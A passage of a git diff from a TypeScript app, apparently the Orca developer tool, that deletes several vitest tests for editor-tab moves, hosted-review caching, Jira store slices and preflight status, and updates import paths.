 /** Non-empty groups only: an emptied group is never saved. */
 function windowView(worktreeId: string) {
   const state = useAppStore.getState()
@@ -94,17 +91,6 @@ function windowView(worktreeId: string) {
     }))
 }
 
-function mainView(worktreeId: string) {
-  const workspace = mainWorkspace(worktreeId)
-  return (workspace?.groups ?? []).map((group) => ({
-    group: group.id,
-    tabs: group.tabOrder.map((tabId) => {
-      const tab = workspace!.tabs.find((entry) => entry.id === tabId)!
-      return { id: tab.id, entity: tab.entityId }
-    })
-  }))
-}
-
 function openRestoredSource(): string {
   return useAppStore.getState().openFile(
     {
@@ -141,103 +127,9 @@ function reparent(
   })
 }
 
-function expectMainMatchesWindow(): void {
-  for (const worktreeId of [SOURCE, TARGET]) {
-    expect(mainView(worktreeId)).toEqual(windowView(worktreeId))
-  }
-}
-
 describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
   'restored editor tab moved to its owning workspace, layout-owner build',
   () => {
-    it('records the move under the ids and group the window chose', async () => {
-      const oldId = openRestoredSource()
-      await settledSent()
-      expectMainMatchesWindow()
-
-      const result = reparent(oldId)
-
-      expect(result.ok).toBe(true)
-      const [command] = await settledSent()
-      expect(command).toMatchObject({
-        type: 'moveTabToWorkspace',
-        workspace: SOURCE,
-        toWorkspace: TARGET,
-        file: { filePath: FILE_PATH, relativePath: 'docs/readme.md' }
-      })
-      expect(windowView(TARGET)[0]!.tabs).toEqual([
-        expect.objectContaining({ entity: result.ok ? result.fileId : '' })
-      ])
-      expectMainMatchesWindow()
-      expect(mainWorkspace(TARGET)!.editorFiles).toEqual([
-        expect.objectContaining({ filePath: FILE_PATH, relativePath: 'docs/readme.md' })
-      ])
-      expect(mainWorkspace(SOURCE)!.editorFiles).toEqual([])
-    })
-
-    it("appends to the target's active group after its own tabs, with a dependent preview", async () => {
-      const oldId = openRestoredSource()
-      useAppStore.getState().openMarkdownPreview(
-        {
-          filePath: FILE_PATH,
-          relativePath: FILE_PATH,
-          worktreeId: SOURCE,
-          runtimeEnvironmentId: null,
-          language: 'markdown'
-        },
-        { sourceFileId: oldId }
-      )
-      useAppStore.getState().openFile(
-        {
-          filePath: '/repo-b/a.ts',
-          relativePath: 'a.ts',
-          worktreeId: TARGET,
-          runtimeEnvironmentId: null,
-          language: 'typescript',
-          mode: 'edit'
-        },
-        { suppressActiveRuntimeFallback: true }
-      )
-      await settledSent()
-      expectMainMatchesWindow()
-      expect(windowView(SOURCE)[0]!.tabs).toHaveLength(2)
-
-      expect(reparent(oldId).ok).toBe(true)
-
-      const [command] = await settledSent()
-      expect(command).toMatchObject({ type: 'moveTabToWorkspace' })
-      expect(command!.type === 'moveTabToWorkspace' && command.tabs).toHaveLength(2)
-      expect(windowView(TARGET)[0]!.tabs).toHaveLength(3)
-      expectMainMatchesWindow()
-    })
-
-    it('records a re-own inside the same local workspace as a rename with its new record', async () => {
-      const inSourcePath = '/repo-a/notes.md'
-      const oldId = useAppStore.getState().openFile(
-        {
-          filePath: inSourcePath,
-          relativePath: inSourcePath,
-          worktreeId: SOURCE,
-          runtimeEnvironmentId: null,
-          language: 'markdown',
-          mode: 'edit'
-        },
-        { suppressActiveRuntimeFallback: true }
-      )
-      await settledSent()
-      expectMainMatchesWindow()
-
-      const result = reparent(oldId, SOURCE, 'notes.md')
-
-      expect(result).toMatchObject({ ok: true })
-      const [command] = await settledSent()
-      expect(command).toMatchObject({ type: 'renameEditorFiles', workspace: SOURCE })
-      expectMainMatchesWindow()
-      expect(mainWorkspace(SOURCE)!.editorFiles).toEqual([
-        expect.objectContaining({ filePath: inSourcePath, relativePath: 'notes.md' })
-      ])
-    })
-
     it('moves the content in the same store update as the frame that shows the move', async () => {
       const oldId = openRestoredSource()
       await settledSent()
@@ -274,43 +166,6 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
       expect(useAppStore.getState().editorDrafts).toEqual({ [newId]: 'unsaved' })
     })
 
-    it('moves a file restored in two splits as one tab, rekeyed with the frame that shows it', async () => {
-      const oldId = openRestoredSource()
-      await settledSent()
-      const left = useAppStore.getState().groupsByWorktree[SOURCE]?.[0]?.id ?? ''
-      const right = useAppStore.getState().createEmptySplitGroup(SOURCE, left, 'right') ?? ''
-      useAppStore.getState().openFile(
-        {
-          filePath: FILE_PATH,
-          relativePath: FILE_PATH,
-          worktreeId: SOURCE,
-          runtimeEnvironmentId: null,
-          language: 'markdown',
-          mode: 'edit'
-        },
-        { suppressActiveRuntimeFallback: true, targetGroupId: right }
-      )
-      await settledSent()
-      expect(windowView(SOURCE).map((group) => group.tabs.length)).toEqual([1, 1])
-
-      const result = reparent(oldId)
-      const newId = result.ok ? result.fileId : ''
-      const outcome = contentRekeyOutcome([oldId])
-      await settledSent()
-
-      expect(await outcome).toBe(true)
-      expect(windowView(TARGET)).toEqual([
-        { group: expect.any(String), tabs: [expect.objectContaining({ entity: newId })] }
-      ])
-      expect(windowView(SOURCE)).toEqual([])
-      expectMainMatchesWindow()
-      expect(useAppStore.getState().openFiles).toEqual([
-        expect.objectContaining({ id: newId, worktreeId: TARGET })
-      ])
-      const shown = windowView(TARGET)[0]?.tabs[0]?.id
-      expect(useAppStore.getState().groupsByWorktree[TARGET]?.[0]?.activeTabId).toBe(shown)
-    })
-
     it('changes nothing when main refuses the move', async () => {
       const oldId = openRestoredSource()
       await settledSent()
@@ -331,36 +186,5 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
         expect.objectContaining({ id: oldId, worktreeId: SOURCE, pendingOwnerMigration: undefined })
       ])
     })
-
-    it("keeps a moved view tab's view, under the file's new owner", async () => {
-      const oldId = openRestoredSource()
-      useAppStore.getState().openMarkdownPreview(
-        {
-          filePath: FILE_PATH,
-          relativePath: FILE_PATH,
-          worktreeId: SOURCE,
-          runtimeEnvironmentId: null,
-          language: 'markdown'
-        },
-        { sourceFileId: oldId }
-      )
-      await settledSent()
-
-      expect(reparent(oldId).ok).toBe(true)
-      await settledSent()
-
-      const views = Object.values(mainWorkspace(TARGET)!.editorViews ?? {})
-      expect(views).toEqual([
-        expect.objectContaining({
-          view: expect.objectContaining({ mode: 'markdown-preview' }),
-          file: expect.objectContaining({ filePath: FILE_PATH, relativePath: 'docs/readme.md' })
-        })
-      ])
-      expect(mainWorkspace(SOURCE)?.editorViews ?? {}).toEqual({})
-      const preview = useAppStore
-        .getState()
-        .openFiles.find((file) => file.mode === 'markdown-preview')
-      expect(preview).toMatchObject({ worktreeId: TARGET, relativePath: 'docs/readme.md' })
-    })
   }
 )
diff --git a/src/renderer/src/store/slices/hosted-review/hosted-review-request-lifetime.test.ts b/src/renderer/src/store/slices/hosted-review/hosted-review-request-lifetime.test.ts
index 6a644493085..44208deca23 100644
--- a/src/renderer/src/store/slices/hosted-review/hosted-review-request-lifetime.test.ts
+++ b/src/renderer/src/store/slices/hosted-review/hosted-review-request-lifetime.test.ts
@@ -74,10 +74,6 @@ afterEach(() => {
 
 const cases = [
   { route: 'local', replacement: 'force', outcome: 'found' },
-  { route: 'local', replacement: 'force', outcome: 'rejected' },
-  { route: 'local', replacement: 'hint', outcome: 'found' },
-  { route: 'runtime', replacement: 'force', outcome: 'found' },
-  { route: 'runtime', replacement: 'force', outcome: 'missing' },
   { route: 'runtime', replacement: 'hint', outcome: 'rejected' }
 ] as const
 
@@ -111,7 +107,7 @@ describe('hosted review lookup ownership after newer settlement', () => {
       if (outcome === 'rejected') {
         pending[0].reject(new Error('Old lookup failed'))
       } else {
-        pending[0].resolve(outcome === 'missing' ? null : review(10))
+        pending[0].resolve(review(10))
       }
       await first
       const cachedBefore = store.getState().hostedReviewCache[cacheKey].data
diff --git a/src/renderer/src/store/slices/hosted-review/hosted-review-request-state.ts b/src/renderer/src/store/slices/hosted-review/hosted-review-request-state.ts
index d379f598d54..3c134d6d223 100644
--- a/src/renderer/src/store/slices/hosted-review/hosted-review-request-state.ts
+++ b/src/renderer/src/store/slices/hosted-review/hosted-review-request-state.ts
@@ -1,5 +1,5 @@
 import type { HostedReviewInfo } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts'
-import { slowTaskRequiredIdleMs } from '@/lib/repository-refresh/coalesced-poll-runner'
+import { slowTaskRequiredIdleMs } from '@/lib/source-control/refresh/coalesced-poll-runner'
 
 const HOSTED_REVIEW_REVALIDATION_IDLE_MULTIPLIER = 5
 const HOSTED_REVIEW_REVALIDATION_MAX_INTERVAL_MS = 5 * 60_000
diff --git a/src/renderer/src/store/slices/hosted-review/hosted-review.test.ts b/src/renderer/src/store/slices/hosted-review/hosted-review.test.ts
index 5d74dc3d636..5030cf1ff9a 100644
--- a/src/renderer/src/store/slices/hosted-review/hosted-review.test.ts
+++ b/src/renderer/src/store/slices/hosted-review/hosted-review.test.ts
@@ -2,7 +2,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import type { AppState } from '../../types'
 import { createHostedReviewSlice } from './hosted-review'
-import { getHostedReviewCacheKey } from './hosted-review-cache-identity'
 
 import type { HostedReviewInfo } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts'
 
@@ -46,17 +45,6 @@ function makeStore(settings: AppState['settings'] = null) {
   }))
 }
 
-const review: HostedReviewInfo = {
-  provider: 'gitlab',
-  number: 5,
-  title: 'Shared MR status',
-  state: 'open',
-  url: 'https://gitlab.com/g/p/-/merge_requests/5',
-  status: 'success',
-  updatedAt: '2026-05-10T00:00:00.000Z',
-  mergeable: 'MERGEABLE'
-}
-
 const githubReview: HostedReviewInfo = {
   provider: 'github',
   number: 12,
@@ -81,48 +69,6 @@ describe('hosted review slice', () => {
     vi.useRealTimers()
   })
 
-  it('clears stale GitHub PR cache when branch review lookup finds a non-GitHub review', async () => {
-    mockApi.hostedReview.forBranch.mockResolvedValueOnce(review)
-    const store = makeStore()
-    store.setState({
-      prCache: {
-        'repo-1::feature/gitlab': {
-          data: {
-            number: 12,
-            title: 'Old GitHub PR',
-            state: 'open',
-            url: 'https://github.com/acme/orca/pull/12',
-            checksStatus: 'pending',
-            updatedAt: '2026-03-28T00:00:00Z',
-            mergeable: 'UNKNOWN',
-            headSha: 'head-oid'
-          },
-          fetchedAt: 1
-        },
-        '/repo::feature/gitlab': {
-          data: {
-            number: 99,
-            title: 'Old path-scoped GitHub PR',
-            state: 'closed',
-            url: 'https://github.com/acme/orca/pull/99',
-            checksStatus: 'failure',
-            updatedAt: '2026-03-28T00:00:00Z',
-            mergeable: 'UNKNOWN',
-            headSha: 'old-head-oid'
-          },
-          fetchedAt: 1
-        }
-      }
-    } as unknown as Partial<AppState>)
-
-    await expect(
-      store.getState().fetchHostedReviewForBranch('/repo', 'feature/gitlab')
-    ).resolves.toEqual(review)
-
-    expect(store.getState().prCache['repo-1::feature/gitlab']).toBeUndefined()
-    expect(store.getState().prCache['/repo::feature/gitlab']).toBeUndefined()
-  })
-
   it('does not reuse an old-head request after the branch advances', async () => {
     const mergedAtHead: HostedReviewInfo = {
       ...githubReview,
@@ -161,50 +107,4 @@ describe('hosted review slice', () => {
       })
     ).resolves.toBeNull()
   })
-
-  it('does not preserve a merged GitHub review after the worktree moves off its head', async () => {
-    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
-    const cacheKey = getHostedReviewCacheKey(
-      '/repo',
-      'feature/merged',
-      null,
-      'repo-1',
-      null,
-      null,
-      true
-    )
-    const store = makeStore()
-    store.setState({
-      hostedReviewCache: {
-        [cacheKey]: {
-          data: {
-            provider: 'github',
-            number: 7,
-            title: 'Merged at head',
-            state: 'merged',
-            url: 'https://github.com/acme/orca/pull/7',
-            status: 'success',
-            updatedAt: '2026-05-10T00:00:00.000Z',
-            mergeable: 'MERGEABLE',
-            headSha: 'aaaaaaa'
-          },
-          fetchedAt: 1,
-          linkedReviewHintKey: ''
-        }
-      }
-    })
-    mockApi.hostedReview.forBranch.mockRejectedValueOnce(new Error('transient gh failure'))
-
-    try {
-      // Failure after head advance must not preserve the prior merged review.
-      await expect(
-        store.getState().fetchHostedReviewForBranch('/repo', 'feature/merged', {
-          force: true,
-          currentHeadOid: 'bbbbbbb'
-        })
-      ).resolves.toBeNull()
-    } finally {
-      consoleError.mockRestore()
-    }
-  })
 })
diff --git a/src/renderer/src/store/slices/hosted-review/workspace-review-repository.ts b/src/renderer/src/store/slices/hosted-review/workspace-review-repository.ts
index 9747229fd07..de698b61799 100644
--- a/src/renderer/src/store/slices/hosted-review/workspace-review-repository.ts
+++ b/src/renderer/src/store/slices/hosted-review/workspace-review-repository.ts
@@ -1,11 +1,11 @@
-import type { Repo } from '../../../../../shared/repo-types'
-import type { Worktree } from '../../../../../shared/worktree/types'
 import {
   resolveReviewRepository,
   reviewRepositoryMatchesWorkspace
-} from '../../../lib/review-owner'
+} from '../../../lib/source-control/review/review-owner'
 import { selectRepoByIdForActiveWorkspace } from '../../repos/active-workspace-repository'
 import type { ActiveWorkspaceRepoState } from '../../repos/active-workspace-repository'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 export function selectReviewRepositoryForWorkspace(
   state: ActiveWorkspaceRepoState,
diff --git a/src/renderer/src/store/slices/jira/jira.test.ts b/src/renderer/src/store/slices/jira/jira.test.ts
index 630cf7c9a34..0a494655173 100644
--- a/src/renderer/src/store/slices/jira/jira.test.ts
+++ b/src/renderer/src/store/slices/jira/jira.test.ts
@@ -1,11 +1,8 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
 import type { AppState } from '../../types'
-import type { JiraIssue, JiraViewer } from '../../../../../shared/jira/jira-types'
-import {
-  getTaskSourceCacheScope,
-  type TaskSourceContext
-} from '../../../../../shared/work-items/task-source-context'
+import type { JiraIssue } from '../../../../../shared/jira/jira-types'
+import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context'
 import { createJiraSlice } from './jira'
 
 const jiraStatus = vi.fn()
@@ -137,37 +134,6 @@ describe('createJiraSlice runtime context', () => {
     expect(store.getState().jiraSearchCache).toEqual({})
   })
 
-  it('isolates out-of-order issue reads from different source hosts', async () => {
-    const store = createTestStore()
-    const sourceA = jiraSourceContext('runtime-a')
-    const sourceB = jiraSourceContext('runtime-b')
-    const runtimeAIssue = deferred<JiraIssue | null>()
-    const runtimeBIssue = deferred<JiraIssue | null>()
-    jiraGetIssue
-      .mockReturnValueOnce(runtimeAIssue.promise)
-      .mockReturnValueOnce(runtimeBIssue.promise)
-
-    const requestA = store.getState().fetchJiraIssue('ALP-1', 'site-1', {
-      sourceContext: sourceA
-    })
-    const requestB = store.getState().fetchJiraIssue('ALP-1', 'site-1', {
-      sourceContext: sourceB
-    })
-    runtimeBIssue.resolve({ ...issue('ALP-1'), title: 'Runtime B' })
-    await requestB
-    runtimeAIssue.resolve({ ...issue('ALP-1'), title: 'Runtime A' })
-    await requestA
-
-    expect(
-      store.getState().jiraIssueCache[`${getTaskSourceCacheScope(sourceA)}::site-1::ALP-1`]?.data
-        ?.title
-    ).toBe('Runtime A')
-    expect(
-      store.getState().jiraIssueCache[`${getTaskSourceCacheScope(sourceB)}::site-1::ALP-1`]?.data
-        ?.title
-    ).toBe('Runtime B')
-  })
-
   it('reuses ordinary in-flight reads but force starts a fresh list and search request', async () => {
     const store = createTestStore()
     store.setState({ jiraStatus: { connected: true, viewer: null, selectedSiteId: 'site-1' } })
@@ -207,30 +173,6 @@ describe('createJiraSlice runtime context', () => {
     ])
   })
 
-  it('does not cache a late abortable search response', async () => {
-    const store = createTestStore()
-    store.setState({ jiraStatus: { connected: true, viewer: null, selectedSiteId: 'site-1' } })
-    const pending = deferred<JiraIssue[]>()
-    let signal: AbortSignal | undefined
-    jiraSearchIssues.mockImplementationOnce(
-      (_settings: unknown, _jql: string, _limit: number, _site: string, provided: AbortSignal) => {
-        signal = provided
-        return pending.promise
-      }
-    )
-    const controller = new AbortController()
-    const request = store
-      .getState()
-      .searchJiraIssues('project = ALP', 30, { signal: controller.signal })
-    await Promise.resolve()
-    const rejection = expect(request).rejects.toMatchObject({ name: 'AbortError' })
-    controller.abort()
-    pending.resolve([issue('ALP-LATE')])
-    await rejection
-    expect(signal?.aborted).toBe(true)
-    expect(store.getState().jiraSearchCache['site-1::project = ALP::30']).toBeUndefined()
-  })
-
   it('shares one summary read across abortable callers and cancels only when all abandon it', async () => {
     const store = createTestStore()
     const source = jiraSourceContext('runtime-a')
@@ -259,119 +201,4 @@ describe('createJiraSlice runtime context', () => {
     pending.resolve(issue('ALP-1'))
     await expect(secondRead).resolves.toMatchObject({ key: 'ALP-1' })
   })
-
-  it('cancels a shared summary read once its last caller abandons it', async () => {
-    const store = createTestStore()
-    const source = jiraSourceContext('runtime-a')
-    let readSignal: AbortSignal | undefined
-    jiraLookupIssueSummary.mockImplementation(
-      (_settings: unknown, _key: string, _siteId: string, signal: AbortSignal) => {
-        readSignal = signal
-        return new Promise<JiraIssue>((_resolve, reject) => {
-          signal.addEventListener('abort', () => reject(new Error('aborted')), { once: true })
-        })
-      }
-    )
-    const controller = new AbortController()
-
-    const read = store
-      .getState()
-      .lookupJiraIssueSummary(source, 'ALP-1', 'site-1', { signal: controller.signal })
-    controller.abort()
-
-    await expect(read).rejects.toMatchObject({ name: 'AbortError' })
-    expect(readSignal?.aborted).toBe(true)
-  })
-
-  it('scopes optimistic issue patches to the selected Jira source context', () => {
-    const store = createTestStore()
-    const localSource = jiraSourceContext('local-runtime')
-    const remoteSource = jiraSourceContext('remote-runtime')
-    const localScope = getTaskSourceCacheScope(localSource)
-    const remoteScope = getTaskSourceCacheScope(remoteSource)
-
-    store.setState({
-      jiraIssueCache: {
-        [`${localScope}::site-1::ALP-1`]: {
-          data: { ...issue('ALP-1'), title: 'Local title' },
-          fetchedAt: Date.now()
-        },
-        [`${remoteScope}::site-1::ALP-1`]: {
-          data: { ...issue('ALP-1'), title: 'Remote title' },
-          fetchedAt: Date.now()
-        },
-        [`${localScope}::site-2::ALP-1`]: {
-          data: { ...issue('ALP-1'), siteId: 'site-2', title: 'Other site title' },
-          fetchedAt: Date.now()
-        }
-      },
-      jiraSearchCache: {
-        [`${localScope}::site-1::list::assigned::30`]: {
-          data: [{ ...issue('ALP-1'), title: 'Local title' }],
-          fetchedAt: Date.now()
-        },
-        [`${remoteScope}::site-1::list::assigned::30`]: {
-          data: [{ ...issue('ALP-1'), title: 'Remote title' }],
-          fetchedAt: Date.now()
-        },
-        [`${localScope}::all::list::assigned::30`]: {
-          data: [
-            { ...issue('ALP-1'), siteId: 'site-2', title: 'Other site title' },
-            { ...issue('ALP-1'), title: 'Local title' }
-          ],
-          fetchedAt: Date.now()
-        }
-      }
-    })
-
-    store.getState().patchJiraIssue(
-      'ALP-1',
-      { title: 'Patched local title' },
-      {
-        sourceContext: localSource,
-        siteId: 'site-1'
-      }
-    )
-
-    expect(store.getState().jiraIssueCache[`${localScope}::site-1::ALP-1`]?.data?.title).toBe(
-      'Patched local title'
-    )
-    expect(store.getState().jiraIssueCache[`${remoteScope}::site-1::ALP-1`]?.data?.title).toBe(
-      'Remote title'
-    )
-    expect(
-      store.getState().jiraSearchCache[`${localScope}::site-1::list::assigned::30`]?.data?.[0]
-        ?.title
-    ).toBe('Patched local title')
-    expect(
-      store.getState().jiraSearchCache[`${remoteScope}::site-1::list::assigned::30`]?.data?.[0]
-        ?.title
-    ).toBe('Remote title')
-    expect(store.getState().jiraIssueCache[`${localScope}::site-2::ALP-1`]?.data?.title).toBe(
-      'Other site title'
-    )
-    expect(
-      store
-        .getState()
-        .jiraSearchCache[`${localScope}::all::list::assigned::30`]?.data?.map((item) => item.title)
-    ).toEqual(['Other site title', 'Patched local title'])
-  })
-
-  it('returns a failed Jira connect result when the active runtime changes before completion', async () => {
-    const store = createTestStore()
-    const connectResult = deferred<{ ok: true; viewer: JiraViewer }>()
-    jiraConnect.mockReturnValueOnce(connectResult.promise)
-
-    const request = store.getState().connectJira({
-      siteUrl: 'https://example.atlassian.net',
-      email: 'local@example.com',
-      apiToken: 'token'
-    })
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'runtime-1' } as never })
-
-    connectResult.resolve({ ok: true, viewer: { email: 'local@example.com' } as JiraViewer })
-    await expect(request).resolves.toMatchObject({ ok: false })
-    expect(store.getState().jiraStatus.connected).toBe(false)
-    expect(store.getState().jiraStatusContextKey).toBeNull()
-  })
 })
diff --git a/src/renderer/src/store/slices/preflight/preflight.test.ts b/src/renderer/src/store/slices/preflight/preflight.test.ts
deleted file mode 100644
index fa98851da0c..00000000000
--- a/src/renderer/src/store/slices/preflight/preflight.test.ts
+++ /dev/null
@@ -1,124 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import type { PreflightStatus } from '../../../../../preload/api/preflight-api'
-import type { Repo } from '../../../../../shared/repo-types'
-
-import '../../../../../shared/constants'
-import type { AppState } from '../../types'
-import { createTestStore } from '../../testing/app-store-test-fixture'
-import { resetRendererAppPlatformCacheForTests } from '@/app-shell/platform/renderer-app-platform'
-
-const preflightCheck = vi.fn()
-const callRuntimeRpc = vi.fn()
-const platformGet = vi.fn(() => ({ platform: 'linux' }))
-
-vi.mock('sonner', () => ({
-  toast: { warning: vi.fn(), dismiss: vi.fn() }
-}))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: (...args: unknown[]) => callRuntimeRpc(...args)
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-cache', () => ({
-  clearRecentRuntimeCompatibilityFailure: vi.fn(),
-  clearRuntimeCompatibilityCache: vi.fn()
-}))
-
-globalThis.window = {
-  api: {
-    preflight: {
-      check: preflightCheck,
-      detectAgents: vi.fn().mockResolvedValue([]),
-      refreshAgents: vi.fn().mockResolvedValue({
-        agents: [],
-        addedPathSegments: [],
-        shellHydrationOk: false,
-        pathSource: 'sync_seed_only',
-        pathFailureReason: 'spawn_error'
-      }),
-      detectRemoteAgents: vi.fn().mockResolvedValue([])
-    },
-    platform: {
-      get: platformGet
-    }
-  } as unknown as Window['api']
-} as Window & typeof globalThis
-
-function resetPreflightMocks(): void {
-  preflightCheck.mockReset()
-  callRuntimeRpc.mockReset()
-  platformGet.mockReset().mockReturnValue({ platform: 'linux' })
-  resetRendererAppPlatformCacheForTests()
-}
-
-function makeStatus(glabInstalled: boolean): PreflightStatus {
-  return {
-    git: { installed: true },
-    gh: { installed: true, authenticated: true },
-    glab: { installed: glabInstalled, authenticated: glabInstalled }
-  }
-}
-
-function makeRepo(overrides: Partial<Repo> & { id: string; path: string }): Repo {
-  return {
-    displayName: 'Repo',
-    badgeColor: '#000000',
-    addedAt: 0,
-    ...overrides
-  }
-}
-
-function deferred<T>() {
-  let resolve!: (value: T) => void
-  let reject!: (error: unknown) => void
-  const promise = new Promise<T>((res, rej) => {
-    resolve = res
-    reject = rej
-  })
-  return { promise, resolve, reject }
-}
-
-describe('createPreflightSlice', () => {
-  it('invalidates an in-flight result when its runtime session ends', async () => {
-    resetPreflightMocks()
-    const stale = deferred<PreflightStatus>()
-    preflightCheck.mockReturnValueOnce(stale.promise)
-    const store = createTestStore()
-
-    const request = store.getState().refreshPreflightStatus()
-    store.getState().invalidatePreflightStatus()
-    stale.resolve(makeStatus(true))
-    await request
-
-    expect(store.getState().preflightStatus).toBeNull()
-    expect(store.getState().preflightStatusChecked).toBe(false)
-    expect(store.getState().preflightStatusContextKey).toBeNull()
-  })
-
-  it('clears checked status immediately when refreshing a different local context', async () => {
-    resetPreflightMocks()
-    const host = deferred<PreflightStatus>()
-    const wsl = deferred<PreflightStatus>()
-    preflightCheck.mockReturnValueOnce(host.promise).mockReturnValueOnce(wsl.promise)
-    const store = createTestStore()
-
-    const first = store.getState().refreshPreflightStatus()
-    host.resolve(makeStatus(true))
-    await first
-    expect(store.getState().preflightStatusChecked).toBe(true)
-
-    store.setState({
-      repos: [makeRepo({ id: 'repo-1', path: '\\\\wsl.localhost\\Ubuntu\\home\\alice\\repo' })],
-      activeRepoId: 'repo-1',
-      activeWorktreeId: null
-    } as Partial<AppState>)
-    const second = store.getState().refreshPreflightStatus()
-
-    expect(store.getState().preflightStatus).toBeNull()
-    expect(store.getState().preflightStatusChecked).toBe(false)
-    expect(store.getState().preflightStatusLoading).toBe(true)
-
-    wsl.resolve(makeStatus(false))
-    await second
-    expect(store.getState().preflightStatus?.glab?.installed).toBe(false)
-  })
-})
diff --git a/src/renderer/src/store/slices/preflight/preflight.ts b/src/renderer/src/store/slices/preflight/preflight.ts
index b3583c9c03a..231ccd48f00 100644
--- a/src/renderer/src/store/slices/preflight/preflight.ts
+++ b/src/renderer/src/store/slices/preflight/preflight.ts
@@ -1,15 +1,15 @@
+import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
+import { defaultScopeHost } from '@/runtime/hosts/selection/default-creation-host'
+import { getActiveWorkspaceOwnerTarget } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localPreflightContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import type { StateCreator } from 'zustand'
 import type {
   PreflightRuntimeContext,
   PreflightStatus
 } from '../../../../../preload/api/preflight-api'
 import type { AppState } from '../../types'
-import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
-import { defaultScopeHost } from '@/runtime/hosts/selection/default-creation-host'
-import { getActiveWorkspaceOwnerTarget } from '@/lib/resolved-worktree-execution-host'
-import { getLocalPreflightContext } from '@/lib/local-preflight-context'
-import { localPreflightContextKey } from '@/lib/local-preflight-context-key'
-import type { LocalPreflightContext } from '@/lib/local-preflight-context-cache'
+import type { LocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context-cache'
 
 export type PreflightSlice = {
   preflightStatus: PreflightStatus | null
diff --git a/src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts b/src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts
index 37784d99579..a711c14e8f9 100644
--- a/src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts
+++ b/src/renderer/src/store/slices/runtime-status/runtime-status-snapshot.test.ts
@@ -1,6 +1,5 @@
 import { beforeEach, expect, it, vi } from 'vitest'
 import { create } from 'zustand'
-import { toast } from 'sonner'
 import { createRuntimeStatusSlice } from './create-runtime-status-slice'
 import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from './runtime-status-connection-generation'
 import type { RuntimeStatusSlice } from './runtime-status-types'
@@ -8,7 +7,6 @@ import type { RuntimeHostStatusSnapshot } from '../../../../../shared/remote-run
 import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
 import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import { runtimeHostConnectionStateForEntry } from '@/runtime/hosts/connections/runtime-host-connection-state'
-import { ensureBrowserClientHostOnRuntimeContact } from '@/runtime/browser/client-hosting/restored-client-hosted-browser-host-attach'
 import { setRuntimeEnvironmentCatalogRefresher } from '@/runtime/rpc/environment-revisions/runtime-environment-pairing-refresh'
 
 vi.mock('sonner', () => ({ toast: { warning: vi.fn(), dismiss: vi.fn() } }))
@@ -55,44 +53,6 @@ function snapshot(
   }
 }
 
-it('represents failed verification honestly without manufacturing a session restart or toast', () => {
-  const viewer = store()
-  viewer.getState().applyRuntimeHostStatusSnapshot(snapshot(1))
-  const generation = viewer
-    .getState()
-    .runtimeStatusByEnvironmentId.get('env-a')?.connectionGeneration
-  viewer.getState().applyRuntimeHostStatusSnapshot(snapshot(2, { verification: 'unavailable' }))
-  expect(
-    runtimeHostConnectionStateForEntry(viewer.getState().runtimeStatusByEnvironmentId.get('env-a'))
-  ).toBe('runtime-unavailable')
-  expect(viewer.getState().runtimeStatusByEnvironmentId.get('env-a')?.connectionGeneration).toBe(
-    generation
-  )
-  viewer.getState().applyRuntimeHostStatusSnapshot(snapshot(3))
-  // Same-runtime recovery advances only resubscribe epoch, preserving mirror cache (#19647); reclaim hosting without a toast.
-  expect(viewer.getState().runtimeStatusByEnvironmentId.get('env-a')?.connectionGeneration).toBe(
-    generation
-  )
-  expect(viewer.getState().runtimeStatusByEnvironmentId.get('env-a')?.hostContactEpoch).toBe(1)
-  expect(viewer.getState().runtimeStatusByEnvironmentId.get('env-a')?.status?.runtimeId).toBe(
-    'rt-1'
-  )
-  expect(ensureBrowserClientHostOnRuntimeContact).toHaveBeenCalledWith(expect.anything(), 'env-a')
-  vi.mocked(ensureBrowserClientHostOnRuntimeContact).mockClear()
-  expect(toast.warning).not.toHaveBeenCalled()
-  const reconnectedGeneration = viewer
-    .getState()
-    .runtimeStatusByEnvironmentId.get('env-a')?.connectionGeneration
-  viewer
-    .getState()
-    .applyRuntimeHostStatusSnapshot(snapshot(4, { status: { runtimeId: 'rt-2' } as RuntimeStatus }))
-  // A replacement runtime id is a restart: a genuinely new connection, so the generation moves.
-  expect(viewer.getState().runtimeStatusByEnvironmentId.get('env-a')?.connectionGeneration).toBe(
-    (reconnectedGeneration ?? 0) + 1
-  )
-  expect(ensureBrowserClientHostOnRuntimeContact).toHaveBeenCalledWith(expect.anything(), 'env-a')
-})
-
 it('retains disconnect ordering and rejects publications for removed or replaced pairings', () => {
   const viewer = store()
   viewer.getState().applyRuntimeHostStatusSnapshot(snapshot(1))
diff --git a/src/renderer/src/store/slices/runtime-status/views/runtime-status-subscriptions.test.ts b/src/renderer/src/store/slices/runtime-status/views/runtime-status-subscriptions.test.ts
index 9f59affb27c..6eb49c3c23c 100644
--- a/src/renderer/src/store/slices/runtime-status/views/runtime-status-subscriptions.test.ts
+++ b/src/renderer/src/store/slices/runtime-status/views/runtime-status-subscriptions.test.ts
